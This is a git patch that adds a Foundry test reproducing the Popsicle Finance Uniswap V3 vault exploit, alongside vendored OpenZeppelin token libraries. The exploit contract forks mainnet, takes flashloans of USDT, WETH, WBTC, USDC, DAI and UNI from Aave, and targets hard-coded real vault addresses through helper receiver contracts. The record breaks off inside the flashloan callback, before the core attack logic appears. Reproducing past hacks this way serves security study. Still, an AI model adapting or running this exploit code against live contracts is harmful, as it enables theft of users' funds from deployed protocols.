From 7990f9eeacebceffe2274ef844711372c4feafeb Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Sun, 4 Feb 2024 00:30:31 +0400 Subject: [PATCH 1/8] feat: add popsicle finance univ3 lp agg exploit --- src/test/OpenZeppelinLibs/Address.sol | 159 +++++++ src/test/OpenZeppelinLibs/IERC1363.sol | 86 ++++ src/test/OpenZeppelinLibs/IERC165.sol | 25 + src/test/OpenZeppelinLibs/IERC20.sol | 83 ++++ src/test/OpenZeppelinLibs/SafeERC20.sol | 173 +++++++ src/test/Popsicle_exp.sol | 577 ++++++++++++++++++++++++ 6 files changed, 1103 insertions(+) create mode 100644 src/test/OpenZeppelinLibs/Address.sol create mode 100644 src/test/OpenZeppelinLibs/IERC1363.sol create mode 100644 src/test/OpenZeppelinLibs/IERC165.sol create mode 100644 src/test/OpenZeppelinLibs/IERC20.sol create mode 100644 src/test/OpenZeppelinLibs/SafeERC20.sol create mode 100644 src/test/Popsicle_exp.sol diff --git a/src/test/OpenZeppelinLibs/Address.sol b/src/test/OpenZeppelinLibs/Address.sol new file mode 100644 index 00000000..0bd4b8a1 --- /dev/null +++ b/src/test/OpenZeppelinLibs/Address.sol @@ -0,0 +1,159 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol) + +pragma solidity ^0.8.20; + +/** + * @dev Collection of functions related to the address type + */ +library Address { + /** + * @dev The ETH balance of the account is not enough to perform the operation. + */ + error AddressInsufficientBalance(address account); + + /** + * @dev There's no code at `target` (it is not a contract). + */ + error AddressEmptyCode(address target); + + /** + * @dev A call to an address target failed. The target may have reverted. + */ + error FailedInnerCall(); + + /** + * @dev Replacement for Solidity's `transfer`: sends `amount` wei to + * `recipient`, forwarding all available gas and reverting on errors. + * + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost + * of certain opcodes, possibly making contracts go over the 2300 gas limit + * imposed by `transfer`, making them unable to receive funds via + * `transfer`. {sendValue} removes this limitation. + * + * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. + * + * IMPORTANT: because control is transferred to `recipient`, care must be + * taken to not create reentrancy vulnerabilities. Consider using + * {ReentrancyGuard} or the + * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. + */ + function sendValue(address payable recipient, uint256 amount) internal { + if (address(this).balance < amount) { + revert AddressInsufficientBalance(address(this)); + } + + (bool success, ) = recipient.call{value: amount}(""); + if (!success) { + revert FailedInnerCall(); + } + } + + /** + * @dev Performs a Solidity function call using a low level `call`. A + * plain `call` is an unsafe replacement for a function call: use this + * function instead. + * + * If `target` reverts with a revert reason or custom error, it is bubbled + * up by this function (like regular Solidity function calls). However, if + * the call reverted with no returned reason, this function reverts with a + * {FailedInnerCall} error. + * + * Returns the raw returned data. To convert to the expected return value, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requirements: + * + * - `target` must be a contract. + * - calling `target` with `data` must not revert. + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCallWithValue(target, data, 0); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], + * but also transferring `value` wei to `target`. + * + * Requirements: + * + * - the calling contract must have an ETH balance of at least `value`. + * - the called Solidity function must be `payable`. + */ + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + if (address(this).balance < value) { + revert AddressInsufficientBalance(address(this)); + } + (bool success, bytes memory returndata) = target.call{value: value}(data); + return verifyCallResultFromTarget(target, success, returndata); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], + * but performing a static call. + */ + function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { + (bool success, bytes memory returndata) = target.staticcall(data); + return verifyCallResultFromTarget(target, success, returndata); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], + * but performing a delegate call. + */ + function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { + (bool success, bytes memory returndata) = target.delegatecall(data); + return verifyCallResultFromTarget(target, success, returndata); + } + + /** + * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target + * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an + * unsuccessful call. + */ + function verifyCallResultFromTarget( + address target, + bool success, + bytes memory returndata + ) internal view returns (bytes memory) { + if (!success) { + _revert(returndata); + } else { + // only check if target is a contract if the call was successful and the return data is empty + // otherwise we already know that it was a contract + if (returndata.length == 0 && target.code.length == 0) { + revert AddressEmptyCode(target); + } + return returndata; + } + } + + /** + * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the + * revert reason or with a default {FailedInnerCall} error. + */ + function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) { + if (!success) { + _revert(returndata); + } else { + return returndata; + } + } + + /** + * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}. + */ + function _revert(bytes memory returndata) private pure { + // Look for revert reason and bubble it up if present + if (returndata.length > 0) { + // The easiest way to bubble the revert reason is using memory via assembly + /// @solidity memory-safe-assembly + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert FailedInnerCall(); + } + } +} \ No newline at end of file diff --git a/src/test/OpenZeppelinLibs/IERC1363.sol b/src/test/OpenZeppelinLibs/IERC1363.sol new file mode 100644 index 00000000..f6774cb8 --- /dev/null +++ b/src/test/OpenZeppelinLibs/IERC1363.sol @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1363.sol) + +pragma solidity ^0.8.20; + +import {IERC20} from "./IERC20.sol"; +import {IERC165} from "./IERC165.sol"; + +/** + * @title IERC1363 + * @dev Interface of the ERC-1363 standard as defined in the https://eips.ethereum.org/EIPS/eip-1363[ERC-1363]. + * + * Defines an extension interface for ERC-20 tokens that supports executing code on a recipient contract + * after `transfer` or `transferFrom`, or code on a spender contract after `approve`, in a single transaction. + */ +interface IERC1363 is IERC20, IERC165 { + /* + * Note: the ERC-165 identifier for this interface is 0xb0202a11. + * 0xb0202a11 === + * bytes4(keccak256('transferAndCall(address,uint256)')) ^ + * bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^ + * bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^ + * bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)')) ^ + * bytes4(keccak256('approveAndCall(address,uint256)')) ^ + * bytes4(keccak256('approveAndCall(address,uint256,bytes)')) + */ + + /** + * @dev Moves a `value` amount of tokens from the caller's account to `to` + * and then calls {IERC1363Receiver-onTransferReceived} on `to`. + * @param to The address which you want to transfer to. + * @param value The amount of tokens to be transferred. + * @return A boolean value indicating whether the operation succeeded unless throwing. + */ + function transferAndCall(address to, uint256 value) external returns (bool); + + /** + * @dev Moves a `value` amount of tokens from the caller's account to `to` + * and then calls {IERC1363Receiver-onTransferReceived} on `to`. + * @param to The address which you want to transfer to. + * @param value The amount of tokens to be transferred. + * @param data Additional data with no specified format, sent in call to `to`. + * @return A boolean value indicating whether the operation succeeded unless throwing. + */ + function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool); + + /** + * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism + * and then calls {IERC1363Receiver-onTransferReceived} on `to`. + * @param from The address which you want to send tokens from. + * @param to The address which you want to transfer to. + * @param value The amount of tokens to be transferred. + * @return A boolean value indicating whether the operation succeeded unless throwing. + */ + function transferFromAndCall(address from, address to, uint256 value) external returns (bool); + + /** + * @dev Moves a `value` amount of tokens from `from` to `to` using the allowance mechanism + * and then calls {IERC1363Receiver-onTransferReceived} on `to`. + * @param from The address which you want to send tokens from. + * @param to The address which you want to transfer to. + * @param value The amount of tokens to be transferred. + * @param data Additional data with no specified format, sent in call to `to`. + * @return A boolean value indicating whether the operation succeeded unless throwing. + */ + function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool); + + /** + * @dev Sets a `value` amount of tokens as the allowance of `spender` over the + * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`. + * @param spender The address which will spend the funds. + * @param value The amount of tokens to be spent. + * @return A boolean value indicating whether the operation succeeded unless throwing. + */ + function approveAndCall(address spender, uint256 value) external returns (bool); + + /** + * @dev Sets a `value` amount of tokens as the allowance of `spender` over the + * caller's tokens and then calls {IERC1363Spender-onApprovalReceived} on `spender`. + * @param spender The address which will spend the funds. + * @param value The amount of tokens to be spent. + * @param data Additional data with no specified format, sent in call to `spender`. + * @return A boolean value indicating whether the operation succeeded unless throwing. + */ + function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool); +} \ No newline at end of file diff --git a/src/test/OpenZeppelinLibs/IERC165.sol b/src/test/OpenZeppelinLibs/IERC165.sol new file mode 100644 index 00000000..d8c5d547 --- /dev/null +++ b/src/test/OpenZeppelinLibs/IERC165.sol @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v5.0.0) (utils/introspection/IERC165.sol) + +pragma solidity ^0.8.20; + +/** + * @dev Interface of the ERC-165 standard, as defined in the + * https://eips.ethereum.org/EIPS/eip-165[ERC]. + * + * Implementers can declare support of contract interfaces, which can then be + * queried by others ({ERC165Checker}). + * + * For an implementation, see {ERC165}. + */ +interface IERC165 { + /** + * @dev Returns true if this contract implements the interface defined by + * `interfaceId`. See the corresponding + * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[ERC section] + * to learn more about how these ids are created. + * + * This function call must use less than 30 000 gas. + */ + function supportsInterface(bytes4 interfaceId) external view returns (bool); +} \ No newline at end of file diff --git a/src/test/OpenZeppelinLibs/IERC20.sol b/src/test/OpenZeppelinLibs/IERC20.sol new file mode 100644 index 00000000..a83099a7 --- /dev/null +++ b/src/test/OpenZeppelinLibs/IERC20.sol @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol) + +pragma solidity ^0.8.20; + +/** + * @dev Interface of the ERC-20 standard as defined in the ERC. + */ +interface IERC20 { + /** + * @dev Emitted when `value` tokens are moved from one account (`from`) to + * another (`to`). + * + * Note that `value` may be zero. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Emitted when the allowance of a `spender` for an `owner` is set by + * a call to {approve}. `value` is the new allowance. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); + + /** + * @dev Returns the value of tokens in existence. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the value of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Moves a `value` amount of tokens from the caller's account to `to`. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transfer(address to, uint256 value) external returns (bool); + + /** + * @dev Returns the remaining number of tokens that `spender` will be + * allowed to spend on behalf of `owner` through {transferFrom}. This is + * zero by default. + * + * This value changes when {approve} or {transferFrom} are called. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev Sets a `value` amount of tokens as the allowance of `spender` over the + * caller's tokens. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * IMPORTANT: Beware that changing an allowance with this method brings the risk + * that someone may use both the old and the new allowance by unfortunate + * transaction ordering. One possible solution to mitigate this race + * condition is to first reduce the spender's allowance to 0 and set the + * desired value afterwards: + * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 value) external returns (bool); + + /** + * @dev Moves a `value` amount of tokens from `from` to `to` using the + * allowance mechanism. `value` is then deducted from the caller's + * allowance. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transferFrom(address from, address to, uint256 value) external returns (bool); + function decimals() external view returns (uint8); + function name() external view returns (string memory); + + +} \ No newline at end of file diff --git a/src/test/OpenZeppelinLibs/SafeERC20.sol b/src/test/OpenZeppelinLibs/SafeERC20.sol new file mode 100644 index 00000000..6c2422a9 --- /dev/null +++ b/src/test/OpenZeppelinLibs/SafeERC20.sol @@ -0,0 +1,173 @@ +// SPDX-License-Identifier: MIT +// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/utils/SafeERC20.sol) + +pragma solidity ^0.8.20; + +import {IERC20} from "./IERC20.sol"; +import {IERC1363} from "./IERC1363.sol"; +import {Address} from "./Address.sol"; + +/** + * @title SafeERC20 + * @dev Wrappers around ERC-20 operations that throw on failure (when the token + * contract returns false). Tokens that return no value (and instead revert or + * throw on failure) are also supported, non-reverting calls are assumed to be + * successful. + * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + using Address for address; + + /** + * @dev An operation with an ERC-20 token failed. + */ + error SafeERC20FailedOperation(address token); + + /** + * @dev Indicates a failed `decreaseAllowance` request. + */ + error SafeERC20FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease); + + /** + * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value, + * non-reverting calls are assumed to be successful. + */ + function safeTransfer(IERC20 token, address to, uint256 value) internal { + _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value))); + } + + /** + * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the + * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful. + */ + function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { + _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value))); + } + + /** + * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value, + * non-reverting calls are assumed to be successful. + */ + function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { + uint256 oldAllowance = token.allowance(address(this), spender); + forceApprove(token, spender, oldAllowance + value); + } + + /** + * @dev Decrease the calling contract's allowance toward `spender` by `requestedDecrease`. If `token` returns no + * value, non-reverting calls are assumed to be successful. + */ + function safeDecreaseAllowance(IERC20 token, address spender, uint256 requestedDecrease) internal { + unchecked { + uint256 currentAllowance = token.allowance(address(this), spender); + if (currentAllowance < requestedDecrease) { + revert SafeERC20FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease); + } + forceApprove(token, spender, currentAllowance - requestedDecrease); + } + } + + /** + * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value, + * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval + * to be set to zero before setting it to a non-zero value, such as USDT. + */ + function forceApprove(IERC20 token, address spender, uint256 value) internal { + bytes memory approvalCall = abi.encodeCall(token.approve, (spender, value)); + + if (!_callOptionalReturnBool(token, approvalCall)) { + _callOptionalReturn(token, abi.encodeCall(token.approve, (spender, 0))); + _callOptionalReturn(token, approvalCall); + } + } + + /** + * @dev Performs an {ERC1363} transferAndCall, with a fallback to the simple {ERC20} transfer if the target has no + * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when + * targeting contracts. + * + * Reverts if the returned value is other than `true`. + */ + function transferAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal { + if (to.code.length == 0) { + safeTransfer(token, to, value); + } else if (!token.transferAndCall(to, value, data)) { + revert SafeERC20FailedOperation(address(token)); + } + } + + /** + * @dev Performs an {ERC1363} transferFromAndCall, with a fallback to the simple {ERC20} transferFrom if the target + * has no code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when + * targeting contracts. + * + * Reverts if the returned value is other than `true`. + */ + function transferFromAndCallRelaxed( + IERC1363 token, + address from, + address to, + uint256 value, + bytes memory data + ) internal { + if (to.code.length == 0) { + safeTransferFrom(token, from, to, value); + } else if (!token.transferFromAndCall(from, to, value, data)) { + revert SafeERC20FailedOperation(address(token)); + } + } + + /** + * @dev Performs an {ERC1363} approveAndCall, with a fallback to the simple {ERC20} approve if the target has no + * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when + * targeting contracts. + * + * NOTE: When the recipient address (`to`) has no code (i.e. is an EOA), this function behaves as {forceApprove}. + * Opposedly, when the recipient address (`to`) has code, this function only attempts to call {ERC1363-approveAndCall} + * once without retrying, and relies on the returned value to be true. + * + * Reverts if the returned value is other than `true`. + */ + function approveAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal { + if (to.code.length == 0) { + forceApprove(token, to, value); + } else if (!token.approveAndCall(to, value, data)) { + revert SafeERC20FailedOperation(address(token)); + } + } + + /** + * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement + * on the return value: the return value is optional (but if data is returned, it must not be false). + * @param token The token targeted by the call. + * @param data The call data (encoded using abi.encode or one of its variants). + */ + function _callOptionalReturn(IERC20 token, bytes memory data) private { + // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since + // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that + // the target address contains contract code and also asserts for success in the low-level call. + + bytes memory returndata = address(token).functionCall(data); + if (returndata.length != 0 && !abi.decode(returndata, (bool))) { + revert SafeERC20FailedOperation(address(token)); + } + } + + /** + * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement + * on the return value: the return value is optional (but if data is returned, it must not be false). + * @param token The token targeted by the call. + * @param data The call data (encoded using abi.encode or one of its variants). + * + * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead. + */ + function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) { + // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since + // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false + // and not revert is the subcall reverts. + + (bool success, bytes memory returndata) = address(token).call(data); + return success && (returndata.length == 0 || abi.decode(returndata, (bool))) && address(token).code.length > 0; + } +} \ No newline at end of file diff --git a/src/test/Popsicle_exp.sol b/src/test/Popsicle_exp.sol new file mode 100644 index 00000000..1d40a864 --- /dev/null +++ b/src/test/Popsicle_exp.sol @@ -0,0 +1,577 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.10; + +import "forge-std/Test.sol"; +import "./OpenZeppelinLibs/SafeERC20.sol"; + +interface IUniswapV2Router { + function WETH() external view returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint256 amountADesired, + uint256 amountBDesired, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline + ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); + + function addLiquidityETH( + address token, + uint256 amountTokenDesired, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); + + function factory() external view returns (address); + + function getAmountIn( + uint256 amountOut, + uint256 reserveIn, + uint256 reserveOut + ) external pure returns (uint256 amountIn); + + function getAmountOut( + uint256 amountIn, + uint256 reserveIn, + uint256 reserveOut + ) external pure returns (uint256 amountOut); + + function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts); + + function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); + + function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB); + + function removeLiquidity( + address tokenA, + address tokenB, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline + ) external returns (uint256 amountA, uint256 amountB); + + function removeLiquidityETH( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) external returns (uint256 amountToken, uint256 amountETH); + + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline + ) external returns (uint256 amountETH); + + function removeLiquidityETHWithPermit( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountToken, uint256 amountETH); + + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint256 liquidity, + uint256 amountTokenMin, + uint256 amountETHMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountETH); + + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint256 liquidity, + uint256 amountAMin, + uint256 amountBMin, + address to, + uint256 deadline, + bool approveMax, + uint8 v, + bytes32 r, + bytes32 s + ) external returns (uint256 amountA, uint256 amountB); + + function swapETHForExactTokens( + uint256 amountOut, + address[] memory path, + address to, + uint256 deadline + ) external payable returns (uint256[] memory amounts); + + function swapExactETHForTokens( + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external payable returns (uint256[] memory amounts); + + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external payable; + + function swapExactTokensForETH( + uint256 amountIn, + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external; + + function swapExactTokensForTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint256 amountIn, + uint256 amountOutMin, + address[] memory path, + address to, + uint256 deadline + ) external; + + function swapTokensForExactETH( + uint256 amountOut, + uint256 amountInMax, + address[] memory path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + function swapTokensForExactTokens( + uint256 amountOut, + uint256 amountInMax, + address[] memory path, + address to, + uint256 deadline + ) external returns (uint256[] memory amounts); + + receive() external payable; +} + +interface IPopsicle { + function DOMAIN_SEPARATOR() external view returns (bytes32); + + function acceptGovernance() external; + + function accruedProtocolFees0() external view returns (uint256); + + function accruedProtocolFees1() external view returns (uint256); + + function allowance(address owner, address spender) external view returns (uint256); + + function approve(address spender, uint256 amount) external returns (bool); + + function balanceOf(address account) external view returns (uint256); + + function collectFees(uint256 amount0, uint256 amount1) external; + + function collectProtocolFees(uint256 amount0, uint256 amount1) external; + + function decimals() external view returns (uint8); + + function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); + + function deposit( + uint256 amount0Desired, + uint256 amount1Desired + ) external payable returns (uint256 shares, uint256 amount0, uint256 amount1); + + function finalized() external view returns (bool); + + function governance() external view returns (address); + + function increaseAllowance(address spender, uint256 addedValue) external returns (bool); + + function init() external; + + function name() external view returns (string memory); + + function nonces(address owner) external view returns (uint256); + + function pendingGovernance() external view returns (address); + + function permit( + address owner, + address spender, + uint256 value, + uint256 deadline, + uint8 v, + bytes32 r, + bytes32 s + ) external; + + function pool() external view returns (address); + + function position() + external + view + returns ( + uint128 liquidity, + uint256 feeGrowthInside0LastX128, + uint256 feeGrowthInside1LastX128, + uint128 tokensOwed0, + uint128 tokensOwed1 + ); + + function rebalance() external; + + function rerange() external; + + function setGovernance(address _governance) external; + + function setStrategy(address _strategy) external; + + function strategy() external view returns (address); + + function symbol() external view returns (string memory); + + function tickLower() external view returns (int24); + + function tickSpacing() external view returns (int24); + + function tickUpper() external view returns (int24); + + function token0() external view returns (address); + + function token0PerShareStored() external view returns (uint256); + + function token1() external view returns (address); + + function token1PerShareStored() external view returns (uint256); + + function totalSupply() external view returns (uint256); + + function transfer(address recipient, uint256 amount) external returns (bool); + + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + function uniswapV3MintCallback(uint256 amount0, uint256 amount1, bytes memory data) external; + + function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes memory _data) external; + + function userInfo(address) + external + view + returns (uint256 token0Rewards, uint256 token1Rewards, uint256 token0PerSharePaid, uint256 token1PerSharePaid); + + function usersFees0() external view returns (uint256); + + function usersFees1() external view returns (uint256); + + function weth() external view returns (address); + + function withdraw(uint256 shares) external returns (uint256 amount0, uint256 amount1); +} + +interface IAaveFlashloan { + function flashLoan( + address receiverAddress, + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata modes, + address onBehalfOf, + bytes calldata params, + uint16 referralCode + ) external; +} +// Simple contract which transfers tokens to an address + +contract TokenVault { + using SafeERC20 for IERC20; + + function transfer(address _asset, address _to) external { + uint256 bal = IERC20(_asset).balanceOf(address(this)); + if (bal > 0) IERC20(_asset).safeTransfer(_to, bal); + else console.log("no bal"); + } + + function executeCall(address target, bytes calldata dataTocall) external returns (bool succ) { + (succ,) = target.call(dataTocall); + } +} +//Note we got most of the exploit working except the profit part,we are missing a few wei worth of coins from all the flashloaned assets,debug and fix + +contract PopsicleExp is Test { + using SafeERC20 for IERC20; + + IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); + + TokenVault receiver1; + TokenVault receiver2; + + address _wethusdtVault = 0xc4ff55a4329f84f9Bf0F5619998aB570481EBB48; + address _wethusdcVault = 0xd63b340F6e9CCcF0c997c83C8d036fa53B113546; + address _wbtcwethVault = 0xd63b340F6e9CCcF0c997c83C8d036fa53B113546; + address _wethusdtVault2 = 0x98d149e227C75D38F623A9aa9F030fB222B3FAa3; + address _wbtcusdcVault = 0xB53Dc33Bb39efE6E9dB36d7eF290d6679fAcbEC7; + address _daiwethVault = 0xDD90112eAF865E4E0030000803ebBb4d84F14617; + address _uniwethVault = 0xE22EACaC57A1ADFa38dCA1100EF17654E91EFd35; + + //Asset addrs + address _usdt = 0xdAC17F958D2ee523a2206206994597C13D831ec7; + address _weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; + address _wbtc = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599; + address _usdc = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; + address _dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F; + address _uni = 0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984; + + //Flashloan amts + uint256 usdtFlash = 30_000_000 * 1e6; + uint256 ethFlash = 13_000 ether; + uint256 wbtcFlash = 1400 * 1e8; + uint256 usdcFlash = usdtFlash; + uint256 daiFlash = 3_000_000 ether; + uint256 uniFlash = 200_000 ether; + + address[] assetsArr; + uint256[] amountsArr; + uint256[] modesArr; + + IPopsicle wethusdtVault = IPopsicle(_wethusdtVault); + IPopsicle wethusdcVault = IPopsicle(_wethusdcVault); + IPopsicle wbtcwethVault = IPopsicle(_wbtcwethVault); + IPopsicle wethusdtVault2 = IPopsicle(_wethusdtVault2); + IPopsicle wbtcusdcVault = IPopsicle(_wbtcusdcVault); + IPopsicle daiwethVault = IPopsicle(_daiwethVault); + IPopsicle uniwethVault = IPopsicle(_uniwethVault); + + IERC20 usdt = IERC20(_usdt); + IERC20 weth = IERC20(_weth); + IERC20 wbtc = IERC20(_wbtc); + IERC20 usdc = IERC20(_usdc); + IERC20 dai = IERC20(_dai); + IERC20 uni = IERC20(_uni); + + IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); + + function setUp() public { + vm.createSelectFork("mainnet", 12_955_060); //fork gnosis at block number 21120319 + + receiver1 = new TokenVault(); + receiver2 = new TokenVault(); + modesArr = [0, 0, 0, 0, 0, 0]; + assetsArr = [_usdt, _weth, _wbtc, _usdc, _dai, _uni]; + amountsArr = [usdtFlash, ethFlash, wbtcFlash, usdcFlash, daiFlash, uniFlash]; + } + + function approveToTargetAll(address _target) internal { + for (uint256 i = 0; i < assetsArr.length; i++) { + approveToTarget(assetsArr[i], _target); + } + } + + function approveToTarget(address asset, address _target) internal { + IERC20(asset).forceApprove(_target, type(uint256).max); + } + + function _logBalances(string memory message) internal { + console.log(message); + console.log("--- Start of balances --- "); + console.log("USDT Balance %d", _logTokenBal(_usdt)); + console.log("WETH Balance %d", _logTokenBal(_weth)); + console.log("WBTC Balance %d", _logTokenBal(_wbtc)); + console.log("USDC Balance %d", _logTokenBal(_usdc)); + console.log("DAI Balance %d", _logTokenBal(_dai)); + console.log("UNI Balance %d", _logTokenBal(_uni)); + console.log("--- End of balances --- "); + } + + function _logTokenBal(address asset) internal view returns (uint256) { + return IERC20(asset).balanceOf(address(this)); + } + + function approveFunds() internal { + //Approve funds to be taken back after flashloan + approveToTargetAll(address(aaveV2)); + approveToTarget(_weth, _wethusdtVault); + approveToTarget(_usdt, _wethusdtVault); + approveToTarget(_weth, _wethusdcVault); + approveToTarget(_usdc, _wethusdcVault); + approveToTarget(_wbtc, _wbtcwethVault); + approveToTarget(_weth, _wbtcwethVault); + approveToTarget(_weth, _wethusdtVault2); + approveToTarget(_usdt, _wethusdtVault2); + approveToTarget(_wbtc, _wbtcusdcVault); + approveToTarget(_usdc, _wbtcusdcVault); + approveToTarget(_dai, _daiwethVault); + approveToTarget(_weth, _daiwethVault); + approveToTarget(_uni, _uniwethVault); + approveToTarget(_weth, _uniwethVault); + approveToTarget(_weth, address(router)); + } + + function testExploit() public { + _logBalances("Before attack"); + //Flashloan here + aaveV2.flashLoan(address(this), assetsArr, amountsArr, modesArr, address(this), new bytes(0), 0); + _logBalances("After attack"); + } + + function getPath(address _in, address _out) internal returns (address[] memory path) { + path = new address[](2); + path[0] = _in; + path[1] = _out; + } + + function executeOperation( + address[] calldata assets, + uint256[] calldata amounts, + uint256[] calldata premiums, + address initiator, + bytes calldata params + ) external payable returns (bool) { + attackLogic(); + + //Check we are in profit on each asset + for (uint256 i = 0; i < assets.length; i++) { + uint256 bal = _logTokenBal(assets[i]); + 